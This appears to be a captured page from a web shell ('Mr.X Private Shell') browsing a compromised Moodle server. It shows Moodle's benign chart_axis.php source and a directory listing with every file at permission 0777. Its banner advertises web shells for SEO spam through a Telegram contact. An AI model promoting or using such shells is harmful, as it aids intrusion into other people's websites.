__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Chart axis.
*
* @package core
* @copyright 2016 Frédéric Massart - FMCorz.net
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
namespace core;
defined('MOODLE_INTERNAL') || die();
use coding_exception;
use JsonSerializable;
use renderable;
/**
* Chart axis class.
*
* @package core
* @copyright 2016 Frédéric Massart - FMCorz.net
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
class chart_axis implements JsonSerializable {
/** Default axis position. */
const POS_DEFAULT = null;
/** Bottom axis position. */
const POS_BOTTOM = 'bottom';
/** Left axis position. */
const POS_LEFT = 'left';
/** Right axis position. */
const POS_RIGHT = 'right';
/** Top axis position. */
const POS_TOP = 'top';
/** @var string The axis label. */
protected $label = null;
/** @var string[] The axis labels, tick values. */
protected $labels = null;
/** @var float The maximum tick value. */
protected $max = null;
/** @var float The minimum tick value. */
protected $min = null;
/** @var string The axis position. */
protected $position = self::POS_DEFAULT;
/** @var float The stepsize between ticks. */
protected $stepsize = null;
/**
* Constructor.
*
* Must not take any argument.
*/
public function __construct() {
}
/**
* Get the label.
*
* @return string
*/
public function get_label() {
return $this->label;
}
/**
* Get the labels.
*
* @return string[]
*/
public function get_labels() {
return $this->labels;
}
/**
* Get the max value.
*
* @return float
*/
public function get_max() {
return $this->max;
}
/**
* Get the min value.
*
* @return float
*/
public function get_min() {
return $this->min;
}
/**
* Get the axis position.
*
* @return string
*/
public function get_position() {
return $this->position;
}
/**
* Get the step size.
*
* @return float
*/
public function get_stepsize() {
return $this->stepsize;
}
/**
* Serialize the object.
*
* @return array
*/
public function jsonSerialize(): array {
return [
'label' => $this->label,
'labels' => $this->labels,
'max' => $this->max,
'min' => $this->min,
'position' => $this->position,
'stepSize' => $this->stepsize,
];
}
/**
* Set the label.
*
* @param string $label The label.
*/
public function set_label($label) {
$this->label = $label;
}
/**
* Set the labels.
*
* @param string[] $labels The labels.
*/
public function set_labels($labels) {
$this->labels = $labels;
}
/**
* Set the max value.
*
* @param float $max The max value.
*/
public function set_max($max) {
$this->max = $max;
}
/**
* Set the min value.
*
* @param float $min The min value.
*/
public function set_min($min) {
$this->min = $min;
}
/**
* Set the position.
*
* @param string $position Use constant self::POS_*.
*/
public function set_position($position) {
$this->position = $position;
}
/**
* Set the step size.
*
* @param float $stepsize The step size.
*/
public function set_stepsize($stepsize) {
$this->stepsize = $stepsize;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| access | Folder | 0777 |
|
|
| analytics | Folder | 0777 |
|
|
| antivirus | Folder | 0777 |
|
|
| attribute | Folder | 0777 |
|
|
| aws | Folder | 0777 |
|
|
| check | Folder | 0777 |
|
|
| content | Folder | 0777 |
|
|
| context | Folder | 0777 |
|
|
| dataformat | Folder | 0777 |
|
|
| dml | Folder | 0777 |
|
|
| event | Folder | 0777 |
|
|
| exception | Folder | 0777 |
|
|
| external | Folder | 0777 |
|
|
| files | Folder | 0777 |
|
|
| form | Folder | 0777 |
|
|
| hook | Folder | 0777 |
|
|
| hub | Folder | 0777 |
|
|
| local | Folder | 0777 |
|
|
| lock | Folder | 0777 |
|
|
| log | Folder | 0777 |
|
|
| message | Folder | 0777 |
|
|
| moodlenet | Folder | 0777 |
|
|
| navigation | Folder | 0777 |
|
|
| oauth2 | Folder | 0777 |
|
|
| output | Folder | 0777 |
|
|
| plugininfo | Folder | 0777 |
|
|
| privacy | Folder | 0777 |
|
|
| progress | Folder | 0777 |
|
|
| reportbuilder | Folder | 0777 |
|
|
| route | Folder | 0777 |
|
|
| router | Folder | 0777 |
|
|
| session | Folder | 0777 |
|
|
| task | Folder | 0777 |
|
|
| tests | Folder | 0777 |
|
|
| update | Folder | 0777 |
|
|
| upgrade | Folder | 0777 |
|
|
| activity_dates.php | File | 3.02 KB | 0777 |
|
| attribute_helper.php | File | 9.5 KB | 0777 |
|
| chart_axis.php | File | 4.26 KB | 0777 |
|
| chart_bar.php | File | 2.7 KB | 0777 |
|
| chart_base.php | File | 8.36 KB | 0777 |
|
| chart_line.php | File | 1.87 KB | 0777 |
|
| chart_pie.php | File | 1.91 KB | 0777 |
|
| chart_series.php | File | 6.53 KB | 0777 |
|
| clock.php | File | 1.07 KB | 0777 |
|
| collator.php | File | 14.35 KB | 0777 |
|
| component.php | File | 62.51 KB | 0777 |
|
| content.php | File | 7.02 KB | 0777 |
|
| context.php | File | 36.36 KB | 0777 |
|
| context_helper.php | File | 15.5 KB | 0777 |
|
| cron.php | File | 26.57 KB | 0777 |
|
| cssparser.php | File | 1.38 KB | 0777 |
|
| dataformat.php | File | 5.74 KB | 0777 |
|
| date.php | File | 37.69 KB | 0777 |
|
| deprecation.php | File | 8.22 KB | 0777 |
|
| di.php | File | 5.25 KB | 0777 |
|
| emoticon_manager.php | File | 7.2 KB | 0777 |
|
| encryption.php | File | 11.56 KB | 0777 |
|
| filetypes.php | File | 41.35 KB | 0777 |
|
| formatting.php | File | 15.48 KB | 0777 |
|
| geopattern.php | File | 1.26 KB | 0777 |
|
| grades_external.php | File | 8.28 KB | 0777 |
|
| grading_external.php | File | 24.24 KB | 0777 |
|
| hooks.php | File | 3.5 KB | 0777 |
|
| http_client.php | File | 6.36 KB | 0777 |
|
| invalid_persistent_exception.php | File | 1.56 KB | 0777 |
|
| ip_utils.php | File | 14.62 KB | 0777 |
|
| lang_string.php | File | 10.99 KB | 0777 |
|
| locale.php | File | 2.85 KB | 0777 |
|
| minify.php | File | 3.65 KB | 0777 |
|
| notification.php | File | 7.48 KB | 0777 |
|
| param.php | File | 41.95 KB | 0777 |
|
| param_clientside_regex.php | File | 1.36 KB | 0777 |
|
| persistent.php | File | 33.03 KB | 0777 |
|
| php_time_limit.php | File | 3.8 KB | 0777 |
|
| plugin_manager.php | File | 76.82 KB | 0777 |
|
| qrcode.php | File | 1.39 KB | 0777 |
|
| report_helper.php | File | 6.7 KB | 0777 |
|
| requirejs.php | File | 4.82 KB | 0777 |
|
| router.php | File | 8.77 KB | 0777 |
|
| rtlcss.php | File | 2 KB | 0777 |
|
| scss.php | File | 6.69 KB | 0777 |
|
| shutdown_manager.php | File | 9.55 KB | 0777 |
|
| string_manager.php | File | 5.18 KB | 0777 |
|
| string_manager_install.php | File | 9.05 KB | 0777 |
|
| string_manager_standard.php | File | 29.61 KB | 0777 |
|
| system_clock.php | File | 1.23 KB | 0777 |
|
| text.php | File | 24.63 KB | 0777 |
|
| url.php | File | 29.2 KB | 0777 |
|
| user.php | File | 68.93 KB | 0777 |
|
| useragent.php | File | 43.7 KB | 0777 |
|
| userfeedback.php | File | 6.54 KB | 0777 |
|
| uuid.php | File | 5.1 KB | 0777 |
|